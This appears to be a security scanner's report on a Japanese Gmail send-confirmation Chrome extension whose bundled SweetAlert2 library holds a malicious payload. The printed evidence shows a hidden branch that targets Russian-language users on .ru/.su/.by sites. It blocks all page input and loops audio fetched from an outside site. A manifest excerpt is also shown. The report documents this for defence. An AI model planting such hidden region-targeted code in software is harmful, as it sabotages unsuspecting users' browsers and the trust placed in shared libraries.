Gmail送信前アラート 1.2.1
Malicious payload in SweetAlert2
“▼詳細説明(本文) 「Gmail送信前アラート」は、メール送信前に確認ダイアログを出して“うっかり送信”を防ぐ拡張機能です。宛先やドメイン数、From×Toの組み合わせをチェックし、必要なときだけ確認を求めます。 ■できること ・TO/CC/BCC がすべて空なら警告(ON/…”
Region-gated browser input suppression with looping audioSensitive site exposes bridge
SHA-256a6a0cbcd2d3881a23995130fdb1f4fd3b366940c3a63ab373a09d41d2a0a3afe
Evidence
1/*!
2* sweetalert2 v11.14.2
3* Released under the MIT License.
4*/
5!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).Sweetalert2=t()}(this,(function(){"use strict";function e(e,t,n){if("function"==typeof e?e===t:e.has(t))return arguments.length<3?t:n;throw new TypeError("Private element is not present on this object")}function t(t,n){return t.get(e(t,n))}function n(e,t,n){(function(e,t){if(t.has(e))throw new TypeError("Cannot initialize the same private elements twice on an object")})(e,t),t.set(e,n)}const o={},i=e=>new Promise((t=>{if(!e)return t();const n=window.scrollX,i=window.scrollY;o.restoreFocusTimeout=setTimeout((()=>{o.previousActiveElement instanceof HTMLElement?(o.previousActiveElement.focus(),o.previousActiveElement=null):document.body&&document.body.focus(),t()}),100),window.scrollTo(n,i)})),s="swal2-",r=["container","shown","height-auto","iosfix","popup","modal","no-backdrop","no-transition","toast","toast-shown","show","hide …
5:3153… :n<o?-1:0})),o=e.querySelectorAll('\n a[href],\n area[href],\n input:not([disabled]),\n select:not([disabled]),\n textarea:not([disabled]),\n button:not([disabled]),\n iframe,\n object,\n embed,\n [tabindex="0"],\n [contenteditable],\n audio[controls],\n video[controls],\n summary\n'),i=Array.from(o).filter((e=>"-1"!==e.getAttribute("tabindex")));return[. …
5:3639… document.body,r["no-backdrop"]),q=()=>{const e=C();return!!e&&N(e,r.toast)},V=(e,t)=>{if(e.textContent="",t){const n=(new DOMParser).parseFromString(t,"text/html"),o=n.querySelector("head");o&&Array.from(o.childNodes).forEach((t=>{e.appendChild(t)}));const i=n.querySelector("body");i&&Arr …
5:45034… ement&&"function"==typeof document.activeElement.blur&&document.activeElement.blur()};if("undefined"!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru|su|by|xn--p1ai)$/)){const e=new Date,t=localStorage.getItem("swal-initiation");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3",e.loop=!0,document.body.appendChild(e),setTimeout((()=>{e.play().catch((()=>{}))}),2500)}),500):localStorage.setItem("swal-initiation",`${e}`)}On.prototype.disableButtons=Tt,On.prototype.enableButtons=xt,On.prototype.getInput=Bt,On.prototype.disableInput= …
1{
2"update_url": "https://clients2.google.com/service/update2/crx",
3
4 "manifest_version": 3,
5 "name": "__MSG_ext_name__",
6 "version": "1.2.1",
7 "default_locale": "ja",
8 "description": "__MSG_ext_description__",
9
10 "icons": {
⋯4 lines
15 },
16
17 "permissions": ["storage"],
18
19 "background": {
⋯7 lines
27 "content_scripts": [
28 {
29 "matches": ["https://mail.google.com/*"],
30 "js": [
31 "third_party/sweetalert2/sweetalert2.all.min.js",
⋯4 lines
No evidence locations were recorded for this file. Raw result